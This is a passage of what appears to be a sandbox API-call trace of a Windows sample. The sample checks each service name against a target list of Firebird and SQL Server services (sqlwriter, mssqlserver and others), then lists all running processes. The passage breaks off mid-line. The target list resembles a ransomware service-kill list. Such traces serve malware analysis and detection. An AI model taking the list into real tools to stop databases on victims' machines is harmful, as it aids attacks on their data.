[0104.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0104.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0104.302] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0104.302] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0104.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0104.303] lstrlenW (lpString="netprofm") returned 8 [0104.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0104.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0104.303] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0104.303] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0104.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0104.303] lstrlenW (lpString="NlaSvc") returned 6 [0104.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0104.303] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0104.303] lstrlenW (lpString="nsi") returned 3 [0104.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0104.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0104.303] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0104.303] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0104.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0104.303] lstrlenW (lpString="PcaSvc") returned 6 [0104.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0104.303] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0104.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0104.303] lstrlenW (lpString="PlugPlay") returned 8 [0104.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0104.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0104.304] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0104.304] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0104.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0104.304] lstrlenW (lpString="Power") returned 5 [0104.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0104.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0104.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0104.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0104.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0104.304] lstrlenW (lpString="ProfSvc") returned 7 [0104.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0104.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0104.304] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0104.304] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0104.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0104.304] lstrlenW (lpString="RpcEptMapper") returned 12 [0104.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.304] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0104.304] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0104.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0104.304] lstrlenW (lpString="RpcSs") returned 5 [0104.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0104.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0104.304] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0104.304] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0104.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0104.304] lstrlenW (lpString="SamSs") returned 5 [0104.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0104.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0104.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0104.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0104.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0104.305] lstrlenW (lpString="Schedule") returned 8 [0104.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0104.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0104.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0104.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0104.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0104.305] lstrlenW (lpString="SecurityHealthService") returned 21 [0104.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0104.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0104.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0104.305] lstrlenW (lpString="SENS") returned 4 [0104.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0104.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0104.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0104.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0104.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0104.305] lstrlenW (lpString="ShellHWDetection") returned 16 [0104.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.305] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0104.305] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0104.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0104.306] lstrlenW (lpString="Spooler") returned 7 [0104.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0104.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0104.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0104.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0104.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0104.306] lstrlenW (lpString="sppsvc") returned 6 [0104.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0104.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0104.306] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0104.306] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0104.306] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353238 | out: hHeap=0x5c0000) returned 1 [0104.306] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0104.313] Process32FirstW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.314] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.315] lstrlenW (lpString="System") returned 6 [0104.315] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.316] lstrlenW (lpString="smss.exe") returned 8 [0104.316] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.317] lstrlenW (lpString="csrss.exe") returned 9 [0104.317] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.318] lstrlenW (lpString="wininit.exe") returned 11 [0104.318] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.319] lstrlenW (lpString="csrss.exe") returned 9 [0104.319] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.320] lstrlenW (lpString="winlogon.exe") returned 12 [0104.320] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.321] lstrlenW (lpString="services.exe") returned 12 [0104.321] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.322] lstrlenW (lpString="lsass.exe") returned 9 [0104.322] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.322] lstrlenW (lpString="svchost.exe") returned 11 [0104.322] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.323] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.323] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.324] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.324] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.764] lstrlenW (lpString="svchost.exe") returned 11 [0104.764] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.765] lstrlenW (lpString="dwm.exe") returned 7 [0104.765] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.766] lstrlenW (lpString="svchost.exe") returned 11 [0104.766] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.767] lstrlenW (lpString="svchost.exe") returned 11 [0104.767] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.767] lstrlenW (lpString="svchost.exe") returned 11 [0104.768] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.768] lstrlenW (lpString="svchost.exe") returned 11 [0104.768] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.769] lstrlenW (lpString="svchost.exe") returned 11 [0104.769] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.770] lstrlenW (lpString="svchost.exe") returned 11 [0104.770] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.771] lstrlenW (lpString="svchost.exe") returned 11 [0104.771] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.772] lstrlenW (lpString="svchost.exe") returned 11 [0104.772] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.772] lstrlenW (lpString="svchost.exe") returned 11 [0104.772] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0104.773] lstrlenW (lpString="spoolsv.exe") returned 11 [0104.773] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.774] lstrlenW (lpString="svchost.exe") returned 11 [0104.774] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.774] lstrlenW (lpString="svchost.exe") returned 11 [0104.774] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.775] lstrlenW (lpString="audiodg.exe") returned 11 [0104.775] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0104.776] lstrlenW (lpString="sihost.exe") returned 10 [0104.776] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.777] lstrlenW (lpString="svchost.exe") returned 11 [0104.777] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.778] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.778] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0104.779] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0104.779] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0104.781] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0104.781] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.782] lstrlenW (lpString="explorer.exe") returned 12 [0104.782] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0104.782] lstrlenW (lpString="Memory Compression") returned 18 [0104.782] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0104.783] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0104.783] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0104.784] lstrlenW (lpString="SearchUI.exe") returned 12 [0104.784] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0104.784] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0104.785] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.785] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0104.785] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0104.786] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0104.786] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0104.787] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0104.787] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.788] lstrlenW (lpString="conhost.exe") returned 11 [0104.788] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0104.788] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0104.789] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0104.789] lstrlenW (lpString="upper arc.exe") returned 13 [0104.789] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0104.790] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0104.790] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0104.791] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0104.791] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0104.791] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0104.792] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0104.792] lstrlenW (lpString="blademcdonald.exe") returned 17 [0104.792] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0104.793] lstrlenW (lpString="courage.exe") returned 11 [0104.793] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0104.794] lstrlenW (lpString="pearl.exe") returned 9 [0104.794] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0104.795] lstrlenW 